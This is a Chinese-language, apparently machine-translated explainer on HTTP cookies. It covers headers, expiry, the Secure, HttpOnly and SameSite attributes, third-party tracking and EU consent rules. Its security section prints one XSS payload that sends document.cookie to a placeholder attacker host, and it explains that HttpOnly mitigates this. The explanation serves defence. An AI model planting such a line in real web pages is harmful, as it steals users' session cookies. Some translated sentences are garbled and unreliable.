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HTTP cookie（网络cookie，浏览器cookie）是服务器发送给用户网络浏览器的一小部分数据。浏览器可以存储它，并将下一个请求发回给同一台服务器。通常，它用于判断两个请求是否来自同一浏览器 - 例如，保持用户登录。它记住无状态HTTP协议的有状态信息。
Cookies主要用于三个目的：
会话管理登录，购物车，游戏成绩或服务器应记住的任何其他内容个性化用户偏好，主题和其他设置跟踪记录和分析用户行为
Cookies曾经用于一般的客户端存储。虽然这是合法的，但它们是将数据存储在客户端的唯一方式，现在推荐使用现代存储API。Cookies随每个请求一起发送，因此可能会恶化性能（特别是对于移动数据连接）。用于客户端存储的现代API是Web存储API（localStorage和sessionStorage）和IndexedDB。
要查看存储的Cookie（以及网页可以使用的其他存储），可以在Developer Tools中启用Storage Inspector，然后从存储树中选择Cookies。
当收到一个HTTP请求时，服务器可以发送一个Set-Cookie包含响应的头部。Cookie通常由浏览器存储，然后将Cookie发送到CookieHTTP标头内的同一服务器。可以指定过期日期或持续时间，之后不再发送cookie。此外，可以设置对特定域和路径的限制，限制cookie的发送位置。
Set-Cookie与Cookie头所述Set-CookieHTTP响应报头从服务器向用户代理发送的cookie。一个简单的cookie就像这样设置：
Set-Cookie:=
服务器的这个头文件告诉客户端存储一个cookie。
注意：以下是Set-Cookie在各种服务器端应用程序中使用标题的方法：
PHP
Node.JS
Python
Ruby on Rails
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry[page content]
现在，随着对服务器的每个新请求，浏览器都会使用Cookie标题将所有先前存储的cookie发送回服务器。
GET /sample_page.html HTTP/1.1Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
上面创建的cookie是一个会话cookie：它在客户端关闭时被删除，因为它没有指定ExpiresorMax-Age指令。但是，Web浏览器可能会使用会话恢复，这会使大多数会话Cookie永久化，就好像浏览器从未关闭一样。
当客户关闭时，永久性Cookie不会在特定日期（Expires）或特定时间长度后终止（Max-Age）。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
注意：如果设置了到期日期，则设置的时间和日期与cookie的设置客户端相关，而不是服务器。
Secure和HttpOnly饼干安全Cookie只能通过HTTPS协议通过加密请求发送到服务器。即使在这种情况下Secure，敏感信息也不应该存储在cookie中，因为它们固有地不安全，并且此标志不能提供真正的保护。从Chrome 52和Firefox 52开始，不安全的站点（http:）无法使用该Secure指令设置Cookie 。
为了防止跨站点脚本攻击（XSS）攻击，HttpOnlyJavaScript的Document.cookieAPI 无法访问Cookie ; 他们只被发送到服务器。例如，持久化服务器端会话的cookie不需要对JavaScript可用，并且HttpOnly应该设置标志。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
在Domain与Path指令定义的范围的cookie：什么网址应发送到cookie。
Domain指定允许的主机接收cookie。如果没有指定，则默认为主机当前文档的位置，但不包括子域。如果Domain被指定，那么子域总是被包括在内。
例如，如果Domain=mozilla.org设置了，则cookie就包含在子域名developer.mozilla.org中。
Path表示必须存在于所请求的URL中以便发送Cookie标头的URL路径。％x2F（“/”）字符被认为是一个目录分隔符，并且子目录也会匹配。
例如，如果设置Path=/docs，这些路径将匹配：
/docs
/docs/Web/
/docs/Web/HTTP
SameSitecookiesSameSiteCookie允许服务器要求Cookie不应该与跨站点请求一起发送，这有助于防止跨站请求伪造攻击（CSRF）。SameSiteCookie仍然是实验性的，并且尚未被所有浏览器支持。
Document.cookie新的cookies也可以通过使用该Document.cookie属性的JavaScript创建，如果该HttpOnly标志没有设置，现有的cookie也可以通过JavaScript访问。
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
请注意下面安全部分中的安全问题。JavaScript可用的cookie可以通过XSS被盗取。
机密或敏感信息绝不应以HTTP Cookie存储或传输，因为整个机制固有不安全。
Cookie通常用于Web应用程序中以识别用户及其已验证的会话，因此窃取cookie可能会导致劫持经过验证的用户会话。窃取cookie的常见方式包括社交工程或利用应用程序中的XSS漏洞。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
该HttpOnlycookie的属性可以帮助缓解防止通过JavaScript访问cookie值这种攻击。
Wikipedia提到CSRF的一个很好的例子。在这种情况下，某人包含的图像不是真正的图像（例如在未经过滤的聊天或论坛中），而是确实要求您的银行服务器进行提款：
现在，如果您登录了您的银行帐户并且您的Cookie仍然有效（并且没有其他验证），那么只要您加载包含此图片的HTML，就会立即转账。有几种技术可以用来防止这种情况的发生：
与XSS一样，输入过滤非常重要。
任何敏感行为都应该始终有确认。
用于敏感操作的Cookie只应具有较短的使用期限。
有关更多预防提示，请参阅OWASP CSRF预防备忘单（https://www.owasp.org/index.php/Cross-SiteRequest_Forgery（CSRF％29_Prevention_Cheat_Sheet））。
Cookie有一个与他们相关的域名。如果此网域与您所在网页的网域相同，则说这些Cookie为第一方Cookie。如果域名不同，则说它是第三方cookie。尽管第一方cookie仅发送给设置它们的服务器，但网页可能包含存储在其他域（如广告条）中的服务器上的图像或其他组件。通过这些第三方组件发送的Cookie称为第三方Cookie，主要用于在整个网络上进行广告和跟踪。请参阅Google使用的Cookie类型。大多数浏览器默认允许使用第三方cookie，但有附加组件可用于阻止它们（例如，Privacy Badger byEFF）。
如果您不透露第三方cookies，如果发现cookie使用，消费者信任可能会受到伤害。明确的披露（例如在隐私政策中）倾向于消除cookie发现的任何负面影响。有些国家也有关于cookies的立法。
它的使用没有任何法律或技术要求，但DNT标题可用于表示Web应用程序应禁用其跟踪或跨站点用户跟踪个人用户。请参阅DNT标题以获取更多信息。
欧盟对cookies的要求在欧盟议会指令2009/136 / EC中定义，并于2011年5月25日生效。指令本身不是法律，而是要求欧盟成员国制定法律符合指令的要求。实际的法律可能因国家而异。
简而言之，欧盟指令意味着在有人可以存储或检索来自计算机，移动电话或其他设备的任何信息之前，用户必须给予知情同意才能这样做。许多网站自此添加了横幅，以通知用户有关Cookie的使用。
更为激进的方法是 zombie cookies 或“Evercookies”，它们在删除后重新创建，故意难以永久删除。他们使用Web存储API，Flash本地共享对象和其他技术在检测到cookie不存在时重新创建自己。
Set-Cookie
Cookie